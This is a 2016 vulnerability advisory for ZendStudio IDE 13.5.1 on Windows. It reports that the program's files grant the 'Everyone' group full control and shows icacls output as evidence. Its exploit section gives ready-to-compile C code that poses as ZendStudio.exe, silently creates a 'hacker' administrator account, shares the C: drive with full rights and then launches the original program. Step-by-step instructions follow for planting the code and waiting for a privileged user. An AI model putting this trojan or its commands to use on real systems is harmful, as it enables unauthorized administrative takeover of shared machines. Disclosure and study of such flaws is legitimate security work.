ZendStudio IDE 13.5.1 Privilege Escalation

`[+] Credits: John Page aka hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/ZEND-STUDIO-PRIVILEGE-ESCALATION.txt  
  
[+] ISR: ApparitionSec  
  
  
  
Vendor:  
============  
www.zend.com  
  
  
  
Product:  
======================  
ZendStudio IDE v13.5.1  
  
Zend Studio is the leading PHP IDE. It is the only PHP IDE that combines  
mobile development with PHP and includes a sample mobile  
app with source code.  
  
  
  
Vulnerability Type:  
=====================  
Privilege Escalation  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
Vulnerability Details:  
=====================  
  
ZendStudio IDE uses weak insecure permissions settings on its  
files/directory as the aEveryonea group has full access on it.  
Allowing low privileged users to execute arbitrary code in the security  
context of ANY other users with elevated privileges  
on the affected system.  
  
"Everyone" encompasses all users who have logged in with a password as well  
as built-in, non-password protected accounts such as Guest  
and LOCAL_SERVICE.  
  
Any user (even guest) will be able to replace, modify or change the file.  
This would allow an attacker the ability to inject code or  
replace the ZendStudio executable and have it run in the context of the  
system.  
  
  
e.g.  
  
c:\Program Files (x86)\Zend\Zend Studio 13.5.1> icacls ZendStudio.exe  
  
ZendStudio.exe Everyone:(I)(F)  
NT AUTHORITY\SYSTEM:(I)(F)  
BUILTIN\Administrators:(I)(F)  
BUILTIN\Users:(I)(RX)  
  
  
x86_64 version ...  
  
  
c:\Program Files\Zend>icacls * | more  
Zend Studio 13.5.1 Everyone:(F)  
Everyone:(OI)(CI)(IO)(F)  
NT SERVICE\TrustedInstaller:(I)(F)  
NT SERVICE\TrustedInstaller:(I)(CI)(I  
NT AUTHORITY\SYSTEM:(I)(F)  
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F  
BUILTIN\Administrators:(I)(F)  
BUILTIN\Administrators:(I)(OI)(CI)(IO  
BUILTIN\Users:(I)(RX)  
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)  
CREATOR OWNER:(I)(OI)(CI)(IO)(F)  
  
  
  
Exploit code(s):  
===============  
  
1) Compile below 'C' code name it as "ZendStudio.exe"  
  
  
#include<windows.h>  
  
int main(void){  
system("net user hacker abc123 /add");  
system("net localgroup Administrators hacker /add");  
system("net share SHARE_NAME=c:\ /grant:hacker,full");  
WinExec("C:\\Program Files (x86)\\Zend\\Zend Studio  
13.5.1\\~ZendStudio.exe",0);  
return 0;  
}  
  
  
2) Rename original "ZendStudio.exe" to "~ZendStudio.exe"  
  
  
3) Place our malicious "ZendStudio.exe" in the ZendStudio directory  
  
  
4) Logout and wait for a more privileged user to login and use ZendStudio  
IDE then BOOM!!!!! later,  
go back and login with your shiny new account.  
  
  
  
Disclosure Timeline:  
========================================  
Vendor Notification: September 30, 2016  
October 8, 2016 : Public Disclosure  
  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
  
Severity Level:  
===============  
High  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`